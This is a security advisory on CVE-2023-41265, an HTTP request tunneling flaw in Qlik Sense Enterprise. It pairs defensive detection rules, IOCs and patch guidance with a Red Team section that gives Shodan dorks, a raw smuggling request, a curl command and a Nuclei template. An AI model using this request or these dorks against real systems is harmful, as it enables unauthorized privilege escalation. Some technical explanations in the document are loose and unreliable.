CVE-2023-41265

Executive Summary

CVE-2023-41265 is a critical HTTP Request Tunneling vulnerability in Qlik Sense Enterprise for Windows. This flaw allows a remote, authenticated attacker with low privileges to escalate their privileges by tunneling HTTP requests within raw HTTP requests. Successful exploitation enables the attacker to execute arbitrary requests on the backend repository application server, leading to full compromise of the Qlik Sense environment. The vulnerability affects multiple version branches and has a CVSS score of 9.9 (Critical). Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation, low privilege requirement, and the potential for complete compromise of the affected system's confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is an HTTP Request Tunneling flaw (CWE-444) in the Qlik Sense repository application. The application improperly parses raw HTTP requests, allowing an attacker to inject and tunnel additional HTTP requests within a single request. This is achieved by manipulating HTTP headers such as Content-Length and Transfer-Encoding to cause the server to misinterpret the request boundaries.

Specifically, the attacker can send a crafted HTTP request that includes a secondary request body. The backend server, due to the parsing flaw, processes the tunneled request as a separate, legitimate request. This allows the attacker to bypass authentication and authorization checks, effectively escalating privileges to those of the repository application (often SYSTEM or a high-privilege service account).

The attack does not require user interaction and can be executed over the network. The public PoC demonstrates that by sending a specially crafted GET request with a manipulated Transfer-Encoding header and a Content-Length header, the attacker can cause the server to process a subsequent request with elevated privileges.

Vulnerable vs. Patched Code

The vulnerability exists in the HTTP request parsing logic of the Qlik Sense repository application. The vulnerable code does not properly validate or reject malformed HTTP requests that contain conflicting Content-Length and Transfer-Encoding headers.

Vulnerable Code (Conceptual): The server accepts raw HTTP requests and processes them without strict validation of header consistency. It may interpret a request with both Content-Length and Transfer-Encoding headers, leading to request smuggling.

Patched Code (Conceptual): The patched version implements strict HTTP request parsing that rejects requests with ambiguous or conflicting headers. It ensures that only one method of determining request body length is used and that the request is properly terminated.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Qlik Sense Enterprise for Windows instance (e.g., May 2023 Patch 3).
• A valid low-privilege session cookie (e.g., X-Qlik-Session).

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA to find Qlik Sense instances. Example dork: html:"Qlik".
2. Obtain Session: Authenticate as a low-privilege user and capture the X-Qlik-Session cookie.
3. Craft Exploit: Use the following raw HTTP request (as per the Nuclei template) to tunnel a request:

GET /resources/qmc/fonts/CVE-2023-41265.ttf HTTP/1.1
Host: {{Hostname}}
Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
Content-Type: text/html
Content-Length: 5
Transfer-Encoding: chunked

;

4. Send Request: Use a tool like curl or a custom script to send the crafted request. The server will process the tunneled request (the ; character) and return a 400 Bad Request with a new X-Qlik-Session cookie, indicating successful exploitation.
5. Escalate Privileges: Use the new session cookie to access administrative endpoints and perform actions with elevated privileges.

Example using curl:

curl -k -X GET "https://target/resources/qmc/fonts/CVE-2023-41265.ttf" \
  -H "Host: target" \
  -H "Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337" \
  -H "Content-Type: text/html" \
  -H "Content-Length: 5" \
  -H "Transfer-Encoding: chunked" \
  -d ";"

Blue Team

Detection:

• Monitor for HTTP requests with both Content-Length and Transfer-Encoding headers.
• Alert on HTTP responses with status code 400 and a new X-Qlik-Session cookie being set.
• Look for anomalous session creation patterns, especially from low-privilege users.

Hunting:

• Search web server logs for requests to /resources/qmc/fonts/CVE-2023-41265.ttf or similar paths.
• Analyze network traffic for malformed HTTP requests with conflicting headers.

Mitigation:

• Immediately apply the vendor-supplied patches.
• If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests with both Content-Length and Transfer-Encoding headers.
• Restrict network access to the Qlik Sense repository application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing both Content-Length and Transfer-Encoding headers.
  • HTTP requests to paths like /resources/qmc/fonts/CVE-2023-41265.ttf.
  • HTTP responses with status code 400 and a Set-Cookie header containing a new X-Qlik-Session value.
• Host IOCs:
  • Unusual processes spawned by the Qlik Sense repository application.
  • Unexpected outbound connections from the Qlik Sense server.
• Log IOCs:
  • Web server logs showing 400 Bad Request responses with the above characteristics.
  • Application logs indicating privilege escalation events.

Detection Engineering

YARA Rule

rule CVE_2023_41265_HTTP_Smuggling {
    meta:
        description = "Detects HTTP request smuggling attempts targeting CVE-2023-41265"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-41265"
    strings:
        $s1 = "Content-Length:" nocase
        $s2 = "Transfer-Encoding:" nocase
        $s3 = "X-Qlik-Session" nocase
        $s4 = "CVE-2023-41265" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Qlik Sense HTTP Request Smuggling Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with both Content-Length and Transfer-Encoding headers targeting Qlik Sense
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/resources/qmc/fonts/*'
        cs(User-Agent): '*'
        cs(Content-Length): '*'
        cs(Transfer-Encoding): '*'
    condition: selection
falsepositives:
    - Legitimate use of chunked transfer encoding
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-41265 Qlik Sense HTTP Request Smuggling Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/resources/qmc/fonts/"; http_uri; content:"Content-Length"; http_header; content:"Transfer-Encoding"; http_header; reference:cve,2023-41265; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-41265

info:
  name: Qlik Sense Enterprise - HTTP Request Smuggling
  author: AdamCrosser
  severity: critical
  description: |
    An HTTP Request Tunneling vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows a remote attacker to elevate their privilege by tunneling HTTP requests in the raw HTTP request. This allows them to send requests that get executed by the backend server hosting the repository application. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
  impact: |
    Authenticated attackers with low privileges can exploit HTTP request tunneling to escalate privileges and execute malicious requests on the Qlik Sense repository application backend server.
  remediation: |
    Update Qlik Sense Enterprise for Windows to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that fixes HTTP request smuggling in the repository application.
  reference:
    - https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/
    - https://www.praetorian.com/blog/qlik-sense-technical-exploit
    - https://www.praetorian.com/blog/advisory-qlik-sense/
    - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes
    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2023-41265
    cwe-id: CWE-444
    epss-score: 0.92414
    epss-percentile: 0.99733
    cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*
  metadata:
    max-request: 1
    vendor: qlik
    product: qlik_sense
    framework: windows
    shodan-query:
      - html:"Qlik"
      - http.favicon.hash:-74348711
      - http.html:"qlik"
      - http.title:"qlik-sense"
    fofa-query:
      - app="qlik-sense"
      - title="qlik-sense"
      - icon_hash=-74348711
      - body="qlik"
    google-query: intitle:"qlik-sense"
  tags: cve2023,cve,kev,qlik,smuggling,windows,vkev,vuln

http:
  - raw:
      - |+
        GET /resources/qmc/fonts/CVE-2023-41265.ttf HTTP/1.1
        Host: {{Hostname}}
        Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
        Content-Type: text/html
        Content-Length: 5
        Transfer-Encoding: chunked

        ;

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - status_code == 400
          - contains(to_lower(set_cookie), 'x-qlik-session')
          - contains(header, 'Bad Request')
        condition: and
# digest: 4b0a00483046022100d363d34ee16cc70d16be27a0350982bd8361d17afd071281cddf05933708b37e022100f09a13684545686987106e0fffeeb5a2466f46404f3696c5aa4c475c9ccd7ced:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Qlik Sense Enterprise for Windows to the following patched versions:
   • August 2023 IR
   • May 2023 Patch 4
   • February 2023 Patch 8
   • November 2022 Patch 11
   • August 2022 Patch 13
2. Workaround: If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block HTTP requests containing both Content-Length and Transfer-Encoding headers.
3. Access Control: Restrict network access to the Qlik Sense repository application to only trusted IP addresses.

Long-Term Measures:

• Implement a robust patch management process to ensure timely application of security updates.
• Conduct regular security assessments and penetration testing on critical applications.
• Monitor for indicators of compromise (IOCs) related to this vulnerability.

Valters IT

{/* [Security Hash: 24C0CB8FBA5F55022ADECE49] */}